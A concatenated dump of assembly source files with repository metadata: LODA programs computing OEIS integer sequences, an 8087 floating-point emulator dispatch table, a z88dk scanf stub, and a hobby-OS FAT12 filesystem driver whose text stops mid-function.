neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A168189: a(n) = n^3*(n^8 + 1)/2. ; 0,1,1028,88587,2097184,24414125,181398636,988663543,4294967552,15690530169,50000000500,142655835971,371504186208,896080198117,2024782586204,4324877931375,8796093024256,17135948156273,32134205042532,58245129452539,102400000004000,175138750275741,292159150710988,476404878963047,760840571591424,1192092895515625,1835172243502676,2779530283287603,4146754733746912,6100254882865109,8857350000013500,12704238448217311,18014398509498368,25271053256881377,35094421819035844,48274578686544875,65810851921156896,88958810889755533,119286025111803692,158737918661265879,209715200000032000,275164515858158681,358684160555271348,464646869735651107,598341940645242464,766139150610397125,975677192103909916,1236079607542058063,1558201490605135872,1954910524291552849,2441406250000062500,3035581807604197851,3758432754675552928,4634517964686170237,5692478020152934284,6965616958276450375,8492553694691284736,10317949946521493193,12493322000082866452,15077944222369024019,18139852800000108000,21756958805718032821,26018280341918666108,31025304194276536767,36893488147419234304,43753915870044082625,51755117070056404356,61065066452484158923,71873375885345318432,84393695092589377389,98866337150000171500,115561146060850961591,134780624734481733888,156863342784180048697,182187644702167665524,211175680160522671875,244297779428917991776,282077198194568953253,325095257418212014812,373996905263760710959,429496729600000256000,492385451091805882161,563536928477438679268,643915709269043204027,734585160817120150944,836716218448071596125,951596789218532369996,1080641851732745574183,1225404294441369678592,1387586536883495522729,1569052980450000364500,1771843337437389292531,1998186889428708225248,2250517728383713700757,2531491036246029013564,2844000461382300233375,3191196652759205462016,3576507015440402519713,4003656753748980232772,4476691271293582710699 mov $1,$0 pow $0,11 pow $1,3 add $0,$1 div $0,2
213.666667
1,838
0.924597
f593843dbef79948c0e4f7e8978e881aa24d9338
9,409
asm
Assembly
base/mvdm/wow16/win87em/emdisp.asm
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
base/mvdm/wow16/win87em/emdisp.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
base/mvdm/wow16/win87em/emdisp.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
; ; ; Copyright (C) Microsoft Corporation, 1986 ; ; This Module contains Proprietary Information of Microsoft ; Corporation and should be treated as Confidential. ; subttl emdisp.asm - Dispatch Tables page ;*********************************************************************; ; ; ; Dispatch Tables ; ; ; ;*********************************************************************; ; dispatch tables ; These tables are based upon the layout of the 8087 instructions ; ; 8087 instruction fields: |escape|MF|Arith|MOD|Op|r/m|disp1|disp2| ; field length in bits: 5 2 1 2 3 3 8 8 ; ; Disp1 and Disp2 are optional address bytes present only if MOD <> 11. ; When (MOD <> 11) r/m describes which regs (SI,DI,BX,BP) are added to ; Disp1 and Disp2 to calculate the effective address. This form ; (memory format) is used for Loads, Stores, Compares, and Arithmetic ; When using memory format MF determines the Type of the Memory operand ; i.e. Single Real, Double real, Single Integer, or Double Integer ; Arith is 0 for Arithmetic opetations (and compares), set to 1 otherwise ; Op mostly determines which type of operation to do though when not in ; memory format some of that is coded into MF and r/m ; All of the tables are set up to do a jump based upon one or more of the ; above fields. The outline for decoding instructions is: ; ; IF (memory format) THEN ; Assemble Effective Address (using MOD and r/m and EffectiveAddressTab) ; IF (Arith) THEN ; Load to the stack (using MF and FLDsdriTab) ; Do the Arithmetic Operation (using Op and ArithmeticOpTab) ; ELSE (memory format non- arithmetic) ; Do the operation (using Op and NonArithOpMemTab and ; depending on the case MF and one of the FLD or FST Tabs) ; ENDIF ; ELSE (Register format) ; IF (Arith) THEN ; Test r/m for legit Stack reference ; Do the Arithmetic Operation (using Op and ArithmeticOpTab) ; ELSE (non-arithmetic register format) ; Do the operation (using Op and NonArithOpRegTab and ; depending on the case r/m and one of: ; Constants, Miscellaneous, Transcendental, or Various Tabs) EVEN glb <EA286Tab> eWORD EA286Tab ; Uses |r/m|MOD| for indexing edw BXSI0D edw BXSI1D edw BXSI2D edw NoEffectiveAddress edw BXDI0D edw BXDI1D edw BXDI2D edw NoEffectiveAddress edw BPSI0D edw BPSI1D edw BPSI2D edw NoEffectiveAddress edw BPDI0D edw BPDI1D edw BPDI2D edw NoEffectiveAddress edw DSSI0D edw DSSI1D edw DSSI2D edw NoEffectiveAddress edw DSDI0D edw DSDI1D edw DSDI2D edw NoEffectiveAddress edw DSXI2D edw BPXI1D edw BPXI2D edw NoEffectiveAddress edw BXXI0D edw BXXI1D edw BXXI2D edw NoEffectiveAddress ifdef i386 glb <EA386Tab> eWORD EA386Tab ; Uses |r/m|MOD| for indexing edw Exx00 ; eax edw Exx01 edw Exx10 edw NoEffectiveAddress edw Exx00 ; ecx edw Exx01 edw Exx10 edw NoEffectiveAddress edw Exx00 ; edx edw Exx01 edw Exx10 edw NoEffectiveAddress edw Exx00 ; ebx edw Exx01 edw Exx10 edw NoEffectiveAddress edw SIB00 ; esp (S-I-B follows) edw SIB01 edw SIB10 edw NoEffectiveAddress edw Direct386 ; ebp (00 = direct addressing) edw Exx01 edw Exx10 edw NoEffectiveAddress edw Exx00 ; esi edw Exx01 edw Exx10 edw NoEffectiveAddress edw Exx00 ; edi edw Exx01 edw Exx10 edw NoEffectiveAddress endif ;i386 glb <ArithmeticOpTab> eWORD ArithmeticOpTab ; Uses |Op| for indexing edw ADDRQQ ;FADD edw MUDRQQ ;FMUL edw eFCOM ;FCOM edw eFCOMP ;FCOMP edw SUDRQQ ;FSUB edw SVDRQQ ;FSUBR edw DIDRQQ ;FDIV edw DRDRQQ ;FDIVR glb <NonArithOpMemTab> eWORD NonArithOpMemTab ; Uses |Op| for indexing edw eFLDsdri ;load(single/double,real/integer) edw UNUSED ;reserved edw eFSTsdri ;Store(single/double,real/integer) edw eFSTPsdri ;Store and POP (single/double,real/integer) edw UNUSED ;reserved edw eFLDtempORcw ;Load(TempReal or LongInteger), FLDCW edw UNUSED ;reserved edw eFSTtempORcw ;Store(TempReal or LongInteger), FSTCW ,FSTSW glb <NonArithOpRegTab> eWORD NonArithOpRegTab ; Uses |Op| for indexing edw eFLDregOrFFREE ;load(register), FFREE edw eFXCHGreg ;FXCHG edw eFSTreg ;Store(register),FNOP edw eFSTPreg ;Store and POP (register) edw eMISCELANEOUS ;FCHS, FABS, FTST, FXAM, FINIT, FENI, FDISI, FCLEX edw eFLDconstants ;FLD1, FLDL2T, FLDL2E, FLDPI, FLDLG2, FLDLN2, FLDZ edw etranscendental ;F2XM1, FYL2X, FPTAN, FPATAN, FXTRACT, FDECSTP, FINCSTP edw eVARIOUS ;FPREM, FYL2XP1, FSQRT, FRNDINT, FSCALE glb <FLDsdriTab> eWORD FLDsdriTab ; Uses |MF| for indexing edw eFLDsr ;load single real edw eFLDdi ;load double integer edw eFLDdr ;load double real edw eFLDsi ;load single integer glb <FSTsdriTab> eWORD FSTsdriTab ; Uses |MF| for indexing edw eFSTsr ;store single real edw eFSTdi ;store double integer edw eFSTdr ;store double real edw eFSTsi ;store single integer glb <FLDtempORcwTab> eWORD FLDtempORcwTab ; Uses |MF| for indexing edw eFLDCW ;load control word edw eFLDtemp ;load temp real edw UNUSED ;reserved edw eFLDlongint ;load long integer glb <FSTtempORcwTab> eWORD FSTtempORcwTab ; Uses |MF| for indexing edw eFSTCW ;store control word edw eFSTtemp ;store temp real edw eFSTSW ;store status word edw eFSTlongint ;store long integer glb <FLDconstantsTab> eWORD FLDconstantsTab ; Uses |r/m| for indexing edw eFLD1 edw eFLDL2T edw eFLDL2E edw eFLDPI edw eFLDLG2 edw eFLDLN2 edw eFLDZ edw UNUSED ;reserved glb <TranscendentalTab> eWORD TranscendentalTab ; Uses |r/m| for indexing edw eF2XM1 edw eFYL2X edw eFPTAN edw eFPATAN edw eFXTRACT edw UNUSED ;reserved edw eFDECSTP edw eFINCSTP glb <VariousTab> eWORD VariousTab ; Uses |r/m| for indexing edw eFPREM edw eFYL2XP1 edw eFSQRT edw UNUSED ;reserved edw eFRNDINT edw eFSCALE edw UNUSED ;reserved edw UNUSED ;reserved glb <COMtab> eWORD COMtab ; SI DI edw COMvalidvalid ; valid valid edw COMsignSI ; valid zero edw COMincomprable ; valid NAN edw COMsignDIinf ; valid INF edw COMsignDI ; zero valid edw COMequal ; zero zero edw COMincomprable ; zero NAN edw COMsignDIinf ; zero INF edw COMincomprable ; NAN valid edw COMincomprable ; NAN zero edw COMincomprable ; NAN NAN edw COMincomprable ; NAN INF edw COMsignSIinf ; INF valid edw COMsignSIinf ; INF zero edw COMincomprable ; INF NAN edw COMinfinf ; INF INF glb <TSTtab> eWORD TSTtab edw COMsignSI ; valid edw COMequal ; zero edw COMincomprable ; NAN edw COMsignSIinf ; INF glb <ADDJMPTAB> eWORD ADDJMPTAB eWORD TAJRQQ edw RADRQQ ; 0000 D Valid non-0, S Valid non-0 edw DDD ; 0001 D Valid non-0, S 0 edw SSINV ; 0010 D Valid non-0, S NAN edw SSS ; 0011 D Valid non-0, S Inf edw SSS ; 0100 D 0, S Valid non-0 edw DDD ; 0101 D 0, S 0 edw SSINV ; 0110 D 0, S NAN edw SSS ; 0111 D 0, S Inf edw DDINV ; 1000 D NAN, S Valid non-0 edw DDINV ; 1001 D NAN, S 0 edw BIGNAN ; 1010 D NAN, S NAN edw DDINV ; 1011 D NAN, S Inf edw DDD ; 1100 D Inf, S Valid non-0 edw DDD ; 1101 D Inf, S 0 edw SSINV ; 1110 D Inf, S NAN edw INFINF ; 1111 D Inf, S Inf glb <MULJMPTAB> eWORD MULJMPTAB eWORD TMJRQQ edw RMDRQQ ; 0000 D Valid non-0, S Valid non-0 edw ZEROS ; 0001 D Valid non-0, S 0 edw SSINV ; 0010 D Valid non-0, S NAN edw INFS ; 0011 D Valid non-0, S Inf edw ZEROS ; 0100 D 0, S Valid non-0 edw ZEROS ; 0101 D 0, S 0 edw SSINV ; 0110 D 0, S NAN edw INDINV ; 0111 D 0, S Inf edw DDINV ; 1000 D NAN, S Valid non-0 edw DDINV ; 1001 D NAN, S 0 edw BIGNAN ; 1010 D NAN, S NAN edw DDINV ; 1011 D NAN, S Inf edw INFS ; 1100 D Inf, S Valid non-0 edw INDINV ; 1101 D Inf, S 0 edw SSINV ; 1110 D Inf, S NAN edw INFS ; 1111 D Inf, S Inf glb <DIVJMPTAB> eWORD DIVJMPTAB eWORD TDJRQQ edw RDDRQQ ; 0000 D Valid non-0, S Valid non-0 edw ZEROS ; 0001 D Valid non-0, S 0 edw SSINV ; 0010 D Valid non-0, S NAN edw INFS ; 0011 D Valid non-0, S Inf edw DIV0 ; 0100 D 0, S Valid non-0 edw D0INDINV ; 0101 D 0, S 0 edw D0SSINV ; 0110 D 0, S NAN edw DIV0 ; 0111 D 0, S Inf edw DDINV ; 1000 D NAN, S Valid non-0 edw DDINV ; 1001 D NAN, S 0 edw BIGNAN ; 1010 D NAN, S NAN edw DDINV ; 1011 D NAN, S Inf edw ZEROS ; 1100 D Inf, S Valid non-0 edw ZEROS ; 1101 D Inf, S 0 edw SSINV ; 1110 D Inf, S NAN edw INDINV ; 1111 D Inf, S Inf glb <XAMtab> ; Tag Flag C3 C2 C1 C0 meaning XAMtab DB 04H ; 00 0 0 1 0 0 Positive Normal DB 06H ; 00 1 0 1 1 0 Negative Normal DB 40H ; 01 0 1 0 0 0 Positive Zero DB 42H ; 01 1 1 0 1 0 Negative Zero DB 01H ; 10 0 0 0 0 1 Positive NAN DB 03H ; 10 1 0 0 1 1 Negative NAN DB 05H ; 11 0 0 1 0 1 Positive Infinity DB 07H ; 11 1 0 1 1 1 Negative Infinity 
26.429775
80
0.648209
f5d8c114c85fe174572cb2752e4db5d65fa061bf
2,811
asm
Assembly
programs/oeis/083/A083669.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/083/A083669.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/083/A083669.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A083669: Number of ordered quintuples (a,b,c,d,e), -n <= a,b,c,d,e <= n, such that a+b+c+d+e = 0. ; 1,51,381,1451,3951,8801,17151,30381,50101,78151,116601,167751,234131,318501,423851,553401,710601,899131,1122901,1386051,1692951,2048201,2456631,2923301,3453501,4052751,4726801,5481631,6323451,7258701,8294051,9436401,10692881,12070851,13577901,15221851,17010751,18952881,21056751,23331101,25784901,28427351,31267881,34316151,37582051,41075701,44807451,48787881,53027801,57538251,62330501,67416051,72806631,78514201,84550951,90929301,97661901,104761631,112241601,120115151,128395851,137097501,146234131,155820001,165869601,176397651,187419101,198949131,211003151,223596801,236745951,250466701,264775381,279688551,295223001,311395751,328224051,345725381,363917451,382818201,402445801,422818651,443955381,465874851,488596151,512138601,536521751,561765381,587889501,614914351,642860401,671748351,701599131,732433901,764274051,797141201,831057201,866044131,902124301,939320251,977654751,1017150801,1057831631,1099720701,1142841701,1187218551,1232875401,1279836631,1328126851,1377770901,1428793851,1481221001,1535077881,1590390251,1647184101,1705485651,1765321351,1826717881,1889702151,1954301301,2020542701,2088453951,2158062881,2229397551,2302486251,2377357501,2454040051,2532562881,2612955201,2695246451,2779466301,2865644651,2953811631,3043997601,3136233151,3230549101,3326976501,3425546631,3526291001,3629241351,3734429651,3841888101,3951649131,4063745401,4178209801,4295075451,4414375701,4536144131,4660414551,4787221001,4916597751,5048579301,5183200381,5320495951,5460501201,5603251551,5748782651,5897130381,6048330851,6202420401,6359435601,6519413251,6682390381,6848404251,7017492351,7189692401,7365042351,7543580381,7725344901,7910374551,8098708201,8290384951,8485444131,8683925301,8885868251,9091313001,9300299801,9512869131,9729061701,9948918451,10172480551,10399789401,10630886631,10865814101,11104613901,11347328351,11594000001,11844671631,12099386251,12358187101,12621117651,12888221601,13159542881,13435125651,13715014301,13999253451,14287887951,14580962881,14878523551,15180615501,15487284501,15798576551,16114537881,16435214951,16760654451,17090903301,17426008651,17766017881,18110978601,18460938651,18815946101,19176049251,19541296631,19911737001,20287419351,20668392901,21054707101,21446411631,21843556401,22246191551,22654367451,23068134701,23487544131,23912646801,24343494001,24780137251,25222628301,25671019131,26125361951,26585709201,27052113551,27524627901,28003305381,28488199351,28979363401,29476851351,29980717251,30491015381,31007800251,31531126601,32061049401,32597623851,33140905381,33690949651,34247812551,34811550201,35382218951,35959875381,36544576301,37136378751 mov $1,7 mov $2,$0 mul $2,$0 mov $3,$0 add $3,$2 mul $3,23 add $1,$3 pow $1,2 mul $1,2 div $1,1104 mul $1,10 add $1,1
175.6875
2,591
0.876201
073a9dda53c9404af2a0a600169f08a80993e1a8
372
asm
Assembly
libsrc/_DEVELOPMENT/stdio/z80/input_helpers/__stdio_scanf_lp.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/stdio/z80/input_helpers/__stdio_scanf_lp.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/stdio/z80/input_helpers/__stdio_scanf_lp.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
SECTION code_stdio PUBLIC __stdio_scanf_lp EXTERN __stdio_scanf_lx defc __stdio_scanf_lp = __stdio_scanf_lx ; %lx, %lp converter called from vfscanf() ; ; enter : ix = FILE * ; de = void *buffer ; bc = field width (0 means default) ; hl = unsigned long *p ; ; exit : carry set if error ; ; uses : all except ix
18.6
47
0.602151
db550b5d774cf79b7697810fed1160ee347f575b
399
asm
Assembly
programs/oeis/055/A055963.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/055/A055963.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/055/A055963.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A055963: n - reversal of base 12 digits of n (written in base 10). ; 0,0,0,0,0,0,0,0,0,0,0,0,11,0,-11,-22,-33,-44,-55,-66,-77,-88,-99,-110,22,11,0,-11,-22,-33,-44,-55,-66,-77,-88,-99,33,22,11,0,-11,-22,-33,-44,-55,-66,-77,-88,44,33,22,11,0,-11,-22,-33,-44,-55,-66,-77,55,44,33,22,11,0,-11,-22,-33,-44,-55,-66,66,55,44 lpb $0 sub $0,12 add $2,1 mov $1,$2 sub $1,$0 lpe mul $1,11 mov $0,$1
33.25
250
0.553885
3d4e8ff5fc37f045127522d75d8b5e2e2dec0417
18,525
asm
Assembly
src/bootsect/loader_fat12.asm
wangziqi2016/Kernel
50ce3e18811181e7011d4423a44665ba0917f87e
[ "Apache-2.0" ]
3
2017-10-16T21:52:02.000Z
2022-03-01T03:59:58.000Z
src/bootsect/loader_fat12.asm
wangziqi2016/Kernel
50ce3e18811181e7011d4423a44665ba0917f87e
[ "Apache-2.0" ]
null
null
null
src/bootsect/loader_fat12.asm
wangziqi2016/Kernel
50ce3e18811181e7011d4423a44665ba0917f87e
[ "Apache-2.0" ]
null
null
null
_loader_fat12_start: ; ; loader_fat12.asm - This file implements FAT12 file system driver ; ; NOTE: FAT12 file system only supports 16MB disk at a maximum. Using an LBA ; of 1 word is sufficient, because we can address 32MB. Using offset of 1 word ; is problematic because only 64KB can be addressed FAT12_DIR_LENGTH equ 32 ; Byte size of directory record FAT12_DIR_SHIFT equ 5 ; log2(FAT12_DIR_LENGTH) FAT12_INV_SECTOR equ 0ffffh ; Invalid sector returned from getnext struc fat12_param ; This defines FAT12 file system metadata .disk_param: resw 1 ; Back pointer to disk parameter .cluster_size: resb 1 ; Number of sectors per cluster (Sector 1, 0x0D) .reserved: resw 1 ; Number of reserved sectors including sector 1 (Sector 1, 0x0E) .num_fat: resb 1 ; Number of FAT tables (Sector 1, 0x10) .root_size: resw 1 ; Number of entries in the root (root cannot be extended, Sector 1, 0x11) .fat_size: resw 1 ; Number of sectors per FAT (Sector 1, 0x16) .root_begin: resw 1 ; Offset of sector that root begins (from 0), derived from above values .data_begin: resw 1 ; Offset of sector that data begins (from 0), derived from above values .padding: resb 1 ; Padding .letter: resb 1 ; Assigned letter of the drive .size: endstruc struc fat12_dir ; This defines FAT12 directory structure (standard 8.3 file name) .name: resb 8 ; File name .suffix: resb 3 ; Suffix .attr: resb 1 ; File attribute .reserved: resb 1 ; Reserved for windows NT .create_time_ms: resb 1 ; Create time in 10ms resolution .create_time: resw 1 ; Create time in sec-min-hour .create_date: resw 1 ; Create date in day-month-year .last_accessed: resw 1 ; Last accessed data in day-month-year .ea_index: resw 1 ; Don't know what it is .modified_time: resw 1 ; Last modified time in sec-min-hour .modified_date: resw 1 ; Last modified date in day-month-year .cluster: resw 1 ; First cluster (0 for special files and empty files) .size_byte: resd 1 ; File size in bytes .size: ; Should be 32, there are constants defined for it endstruc ; Initialization. This must be called after disk_mapping and disk_buffer is setup ; because we use disk buffered I/O to perform init fat12_init: push bp mov bp, sp push bx ; [BP - 2] - Reg saving push si ; [BP - 4] - Reg saving push di ; [BP - 6] - Reg saving xor si, si ; SI = index of the current entry .body: mov ax, si mov cx, disk_param.size mul cx ; DX:AX = offset within the table (ignore DX) mov bx, ax ; BX = offset of disk param entry add bx, [disk_mapping] ; BX = offset + base of disk mapping .addr_hi equ -8 ; Local variables .addr_lo equ -10 .letter equ -12 push word 0 ; [BP - 8] - Addr hi push word 26h ; [BP - 10] - Addr lo; Byte offset 0x26 (extended boot record) push word [bx + disk_param.letter] ; [BP - 12] - Current letter of the disk mov ax, DISK_OP_READ ; Perform read call disk_op_word ; Read the first sector of the current disk jc .err ; Do not clear stack because we read multiple words cmp al, 28h je .found cmp al, 29h je .found .continue: ;add bx, disk_param.size inc si cmp si, [disk_mapping_num] jne .body .return: pop di pop si pop bx mov sp, bp pop bp ret .found: mov ax, fat12_param.size call mem_get_sys_bss ; Allocate a perameter entry for FAT 12 jc .err ; Usually means sys static mem runs out mov [bx + disk_param.fsptr], ax ; Save it in the fsptr field of disk param mov byte [bx + disk_param.fstype], \ DISK_FS_FAT12 ; Adding FS type explicitly xchg ax, bx ; BX = Ptr to the FAT12 param; AX = new pointer mov [bx + fat12_param.disk_param], ax ; Store the back pointer mov al, [bp + .letter] ; AL = Letter mov [bx + fat12_param.letter], al ; Stoer the letter for disk function calls xor ax, ax mov [bp + .addr_lo], ax ; Clear high bits of the address (we only use low 256 bytes for sure) mov di, .offset_table ; DI uses DS as implicit segment jmp .read_param .offset_table: ; Defines the metadata we copy from sector 0 db 0dh, fat12_param.cluster_size db 0eh, fat12_param.reserved db 10h, fat12_param.num_fat db 11h, fat12_param.root_size db 16h, fat12_param.fat_size db 00h ; Marks the end of table .read_param: mov al, [di] ; Offset within first sector inc di test al, al ; Check if this is zero, if true then finished jz .print_found ; Reached the end of table mov byte [bp + .addr_lo], al ; Update address mov ax, DISK_OP_READ ; Call for read call disk_op_word jc .err push si ; Register saving mov si, [di] ; SI = offset within FAT12 param entry and si, 0ffh ; Only byte value inc di ; DI = next entry mov [bx + si], ax ; Store data using BX + SI; Note that byte data may overwrite later entries pop si ; Register restore jmp .read_param .print_found: mov al, [bx + fat12_param.cluster_size] dec al test al, al ; Only supports 1 sector cluster jz .begin_print push fat12_init_inv_csz call video_printf_near ; Print error message and then goes BSOD jmp .err .begin_print: xor ax, ax mov al, [bx + fat12_param.num_fat] push ax ; Push number of FATs mul word [bx + fat12_param.fat_size] ; DX:AX = Number of sectors for all (two) FATs add ax, [bx + fat12_param.reserved] push word [bx + fat12_param.fat_size] ; Push FAT size push word [bx + fat12_param.reserved] ; Push # of reserved sectors mov [bx + fat12_param.root_begin], ax ; Begin LBA (from zero) of data section push ax ; Push root directory begin mov cx, [bx + fat12_param.root_size] ; CX = # of entries in the root shr cx, \ DISK_SECTOR_SIZE_SHIFT - FAT12_DIR_SHIFT; CX = # of sectors in the root (assume it is exact) add ax, cx mov [bx + fat12_param.data_begin], ax push ax ; Push data begin sector mov ax, [bx + fat12_param.letter] push ax ; Push letter push fat12_init_str ; Push format string call video_printf_near add sp, 14 jmp .continue .err: ; Jump here on error, stack must have an error message pushed push ds push fat12_init_err call bsod_fatal ; Opens a device for FAT12 access. A device can be opened multiple times, and there is ; no need for a corresponding close ; AX - The letter of the device ; Return: ; AX - A transparent token used to access the file system; In practice it is pointer ; to the disk_param struct ; CX - Low word of the root token (used to access root directory) ; DX - High word of the root token ; (i.e. DX:CX is the sector:offset of root directory entry point) ; CF is set if letter is invalid or device is not FAT12 fat12_open: push bx call disk_getparam ; AX has already been set jc .err ; Invalid letter mov bx, ax ; BX = base address to disk_param. cmp byte [bx + disk_param.fstype], \ DISK_FS_FAT12 ; If the fs type is not FAT12 report error jne .err mov bx, [bx + disk_param.fsptr] ; Pointer to fat12_param mov dx, [bx + fat12_param.root_begin] ; DX = Begin sector xor cx, cx ; DX:CX = Sector:Offset = RootSector:0 mov ax, bx ; AX = Ptr to fat12_param pop bx clc ret .err: pop bx stc ret ; Returns the next sector given a sector ; AX - The clsuter number ; [BP + 4] - Ptr to the current instance of FAT12 table ; Return: ; AX - Next sector number, beginning from 0, relative to data area. 0xFFFF means other ; cases (free, invalid, end of chain, etc.). ; BSOD on error. No invalid sector should be used to call this function ; NOTE: Input value is clsuter number, return value is sector offset from data region ; In order to get the cluster number we must add 2 to sector offset fat12_getnext: push bp mov bp, sp push bx ; [BP - 2] - Reg save push si ; [BP - 4] - Reg save mov bx, [bp + 4] ; BX = Ptr to FAT12 param table cmp ax, 2 ; Cluster numbering begins at 2 (b/c 0x0000 means empty) jb .err mov si, [bx + fat12_param.disk_param] ; SI = disk param ptr mov cx, [ds:si + disk_param.capacity] ; CX = Low word of disk capacity. For FAT12 we know high word is 0 sub cx, [bx + fat12_param.data_begin] inc cx inc cx ; CX = data area sectors + 2 cmp ax, cx jae .err ; Note that AX begins at 2, and is relative to data area mov cx, ax and cx, 1 ; CX = odd/even bit shr ax, 1 mov dx, ax ; DX = AX / 2 add ax, ax ; AX = AX / 2 * 2 add ax, dx ; AX = AX / 2 * 3 add ax, cx ; AX = (AX / 2) * 3 + odd/even bit which is the sector number mov si, ax ; SI = Byte offset within FAT mov ax, [bx + fat12_param.reserved] mov dx, DISK_SECTOR_SIZE mul dx ; DX:AX = Begin offset of FAT table add ax, si ; Add byte offset within table adc dx, 0 ; DX:AX = Begin offset of FAT entry odd/even (16 bit word) mov si, cx ; SI = Odd/even bit push dx ; Arg offset high push ax ; Arg offset low push word [bx + fat12_param.letter] ; Arg letter mov ax, DISK_OP_READ call disk_op_word jc .err ; It will BSOD, do not need to clear stack add sp, 6 test si, si ; Zero means even, 1 means odd jz .even_sect shr ax, 4 ; For odd sectors, use high 12 bits jmp .after_process .even_sect: and ax, 0fffh ; For even sectors, use low 12 bits .after_process: ; AX stores the next sector number cmp ax, 0ff0h ; Everything below 0x0FF0 is normal (in-use, free) jae .return_reserved cmp ax, 0002h ; Everything below 0x2 is reserved jb .return_reserved dec ax .return_reserved_before_dec: dec ax ; Minus 2 because cluster ID begins at 2 .return: pop si pop bx mov sp, bp pop bp ret .return_reserved: xor ax, ax jmp .return_reserved_before_dec ; The dec is shared .err: push ds push fat12_getnext_err call bsod_fatal ; Reads a directory entry. This function takes a token that represents the current read position ; on the disk, and modifies the token for next read. The structure of the token is transparent ; to the caller. ; The destination buffer has the layout of fat12_dir. The caller is responsible for parsing the struct. ; Only valid directory entries are copied. They do not include entries beginning with 0x00 (free), 0xE5 (deleted) ; and 0x2E (. and .. entry) ; Long file name entries with attr being 0x0F are also ignored ; [BP + 4] - The FAT12 token ; [BP + 6] - Low word of the token (offset) ; [BP + 8] - High word of the token (sector) -> Note that the above three corresponds to AX, CX, DX of fat12_open ; [BP + 10] - Offset of destination buffer ; [BP + 12] - Segment of destination buffer ; Return: ; AX = 0 if there are entries; Otherwise this is the last entry (most likely AX = 1) ; CF is set if error; CF is cleared if success fat12_readdir: push bp mov bp, sp push es ; [BP - 2] push bx ; [BP - 4] push si ; [BP - 6] mov ax, LARGE_BSS mov es, ax mov si, [bp + 4] ; SI = Ptr to fat12_param, will not change below .lba_hi equ -8 ; Local var, also used as arg to buffer read func .lba_lo equ -10 .letter equ -12 xor ax, ax ; AX = 0 push ax ; [BP - 8] Arg LBA hi = AX = 0 b/c we assume FAT12 does not handle > 64K sectors push word [bp + 8] ; [BP - 10] Arg LBA lo push word [si + fat12_param.letter] ; [BP - 12] Arg letter cmp word [bp + 6], DISK_SECTOR_SIZE ; This deals with the corner case that offset is sector size (previous je .continue_no_inc ; ... read returns a valid entry which is the last in the sector) .read_sector: call disk_insert_buffer ; After return AX = Ptr to disk buffer entry jc .err ; Don't clear stack here add ax, disk_buffer_entry.data ; AX = Ptr to buffer data area add ax, [bp + 6] ; AX = Ptr to current dir entry in the buffer mov bx, ax ; BX = Ptr to current dir entry in the buffer .read_entry: mov al, [es:bx] ; Read first byte of the dir entry - note that we must use ES segment test al, al ; 0x00 - empty entry jz .continue ;cmp al, 2eh ; 0x2E - Dot entry ;je .continue cmp al, 0e5h ; 0xE5 - Deleted entry je .continue mov al, [es:bx + fat12_dir.attr] cmp al, 0fh ; Attr 0x0F - Long name entry je .continue push word FAT12_DIR_LENGTH ; Size of copy push es ; Src segment push bx ; Src offset push word [bp + 12] ; Dest segment push word [bp + 10] ; Dest offset call memcpy_nonalias add sp, 10 ;push word [bp + 12] ;push word [bp + 10] ;call video_putstr ;add sp, 4 ;while1 add word [bp + 6], FAT12_DIR_LENGTH ; Increment offset xor ax, ax ; This will also clear CF jmp .return ; Finished copy and return .continue: mov ax, FAT12_DIR_LENGTH add [bp + 6], ax ; Increment offset to point to the next dir entry add bx, ax ; Increment BX also for next read cmp [bp + 6], word DISK_SECTOR_SIZE ; Check if current read offset reached the end of the sector jne .read_entry ; If we has not reached end of sector then keep reading next entry .continue_no_inc: xor ax, ax mov [bp + 6], ax ; Offset is cleared to zero - to the beginning of next sector, if any mov ax, [si + fat12_param.data_begin] ; AX = Sector that data begins (i.e. non-root dir should be after this) cmp [bp + .lba_lo], ax ; Compare the root LBA with data area sector jb .next_sector_root ; If below then it is root and the area is consecutive mov ax, [bp + 8] ; AX = Current sector inc ax inc ax ; AX = Current cluster (begin at 2) push si ; Arg FAT12 token (ptr to fat12_param) call fat12_getnext ; Return next sector offset in data area (NOT cluster!) pop cx ; Clear stack; CX is destroyed cmp ax, FAT12_INV_SECTOR ; Check validity je .ret_nomore ; If the next sectof of the dir is invalid just return add ax, [si + fat12_param.data_begin] ; AX = LBA to next sector mov [bp + 8], ax mov [bp + .lba_lo], ax ; Update both arg and local var jmp .read_sector .next_sector_root: ; AX = data begin sector on entering this block inc word [bp + 8] ; Modify next sector in return arg inc word [bp + .lba_lo] ; Modify next sector we are about to read cmp [bp + .lba_lo], ax ; Compare the sector after increment je .ret_nomore ; If it equals the data region start then we reached the end of root jmp .read_sector .return: ; Normal case do not set CF and go here add sp, 6 ; This will reset CF .return_after_clear_stack: 